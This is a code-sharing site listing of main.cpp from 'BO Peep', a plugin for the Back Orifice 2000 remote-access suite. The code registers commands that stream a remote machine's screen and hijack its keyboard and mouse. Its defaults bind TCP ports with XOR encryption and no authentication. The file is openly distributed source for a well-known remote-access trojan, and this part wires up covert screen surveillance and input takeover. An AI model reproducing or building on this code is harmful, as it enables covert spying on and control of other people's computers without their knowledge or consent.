main.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:5k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include<windows.h>
  16. #include<plugins.h>
  17. #include<bocomreg.h>
  18. #include<iohandler.h>
  19. #include<encryption.h>
  20. #include"bo_peep.h"
  21. #include"vidstream.h"
  22. #include"hijack.h"
  23. #include"client.h"
  24. #include"hiclient.h"
  25. // ---------------- Global Linkage Variables -----------------
  26. CEncryptionHandler *g_pEncHandler=NULL;
  27. CIOHandler *g_pIOHandler=NULL;
  28. TYPEOF_RegisterCommand *RegisterCommand=NULL;
  29. TYPEOF_UnregisterCommand *UnregisterCommand=NULL;
  30. TYPEOF_RegisterClientMenu *RegisterClientMenu=NULL;
  31. TYPEOF_UnregisterClientMenu *UnregisterClientMenu=NULL;
  32. TYPEOF_IssueAuthCommandRequest *IssueAuthCommandRequest=NULL;
  33. TYPEOF_IssueAuthCommandReply *IssueAuthCommandReply=NULL;
  34. TYPEOF_ConnectAuthSocket *ConnectAuthSocket=NULL;
  35. TYPEOF_ListenAuthSocket *ListenAuthSocket=NULL;
  36. TYPEOF_InteractiveConnect *InteractiveConnect=NULL;
  37. TYPEOF_InteractiveListen *InteractiveListen=NULL;
  38. #pragma comment(linker,"/section:.rdata,RW")
  39. #pragma comment(linker,"/section:.data,RW")
  40. // ------------- Function Implementations ------------------
  41. HINSTANCE g_hInstance;
  42. BOOL g_bActive;
  43. long g_nNumThreads;
  44. char g_szAdvancedOptions[]="<**CFG**>BO Peep"
  45.    "N[40,1600]:VidStream X Res=160"
  46.                            "N[32,1200]:VidStream Y Res=120"
  47.                            "S[8]:VidStream Net Module=TCPIO"
  48.                            "S[32]:VidStream Bind Str=15151"
  49.    "S[8]:VidStream Encryption=XOR"
  50.    "S[8]:VidStream Auth=NULLAUTH"
  51.    "S[8]:Hijack Net Module=TCPIO"
  52.                            "S[32]:Hijack Bind Str=14141"
  53.    "S[8]:Hijack Encryption=XOR"
  54.    "S[8]:Hijack Auth=NULLAUTH";
  55.    
  56. int g_nStartVidStreamCmd;
  57. int g_nStopVidStreamCmd;
  58. int g_nStartHijackCmd;
  59. int g_nStopHijackCmd;
  60. BOOL WINAPI DllMain(HINSTANCE hInst, ULONG ul_reason_for_call, LPVOID lpReserved)
  61. {
  62. // Do NOT perform configuration or initialization here
  63. switch (ul_reason_for_call) {
  64. case DLL_PROCESS_ATTACH:
  65. g_hInstance=hInst;
  66. break;
  67. }
  68. return TRUE;
  69. }
  70. BOOL InstallPlugin(PLUGIN_LINKAGE pl)
  71. {
  72. g_bActive=TRUE;
  73. g_nNumThreads=0;
  74. g_pEncHandler=pl.pEncryptionHandler;
  75. g_pIOHandler=pl.pIOHandler;
  76. RegisterCommand=pl.pRegisterCommand;
  77. UnregisterCommand=pl.pUnregisterCommand;
  78. IssueAuthCommandRequest=pl.pIssueAuthCommandRequest;
  79. IssueAuthCommandReply=pl.pIssueAuthCommandReply;
  80. ConnectAuthSocket=pl.pConnectAuthSocket;
  81. ListenAuthSocket=pl.pListenAuthSocket;
  82. RegisterClientMenu=pl.pRegisterClientMenu;
  83. UnregisterClientMenu=pl.pUnregisterClientMenu;
  84. InteractiveListen=pl.pInteractiveListen;
  85. InteractiveConnect=pl.pInteractiveConnect;
  86. if(RegisterCommand) {
  87. g_nStartVidStreamCmd=RegisterCommand(CmdProc_StartVidStream,"BO Peep","Start VidStream","[FPS Speed]","[Xres][,Yres][,NET][,ENC][,AUTH]","[Bind to]");
  88. g_nStopVidStreamCmd=RegisterCommand(CmdProc_StopVidStream,"BO Peep","Stop VidStream",NULL,NULL,NULL);
  89. g_nStartHijackCmd=RegisterCommand(CmdProc_StartHijack,"BO Peep","Start Hijack",NULL,"[NET,ENC,AUTH]","[Bind to]");
  90. g_nStopHijackCmd=RegisterCommand(CmdProc_StopHijack,"BO Peep","Stop Hijack",NULL,NULL,NULL);
  91. }
  92. if(RegisterClientMenu) {
  93. RegisterClientMenu("BO Peep","VidStream Client",CreateVidStreamClient);
  94. RegisterClientMenu("BO Peep","Hijack Client",CreateHijackClient);
  95. }
  96. return TRUE;
  97. }
  98. void TerminatePlugin(void)
  99. {
  100. g_bActive=FALSE;
  101. while(g_nNumThreads>0) Sleep(20);
  102. Sleep(1000);
  103. if(UnregisterClientMenu) {
  104. UnregisterClientMenu("BO Peep","VidStream Client");
  105. UnregisterClientMenu("BO Peep","Hijack Client");
  106. }
  107. if(UnregisterCommand) {
  108. UnregisterCommand(g_nStopHijackCmd);
  109. UnregisterCommand(g_nStartHijackCmd);
  110. UnregisterCommand(g_nStopVidStreamCmd);
  111. UnregisterCommand(g_nStartVidStreamCmd);
  112. }
  113. }
  114. BOOL PluginVersion(PLUGIN_VERSION *ppv)
  115. {
  116. ppv->svFilename="bo_peep.dll";
  117. ppv->svDescription="BO2K Remote Console Manager";
  118. ppv->wVersionHi=0;
  119. ppv->wVersionLo=7;
  120. ppv->wBOVersionHi=1;
  121. ppv->wBOVersionLo=0;
  122. return TRUE;
  123. }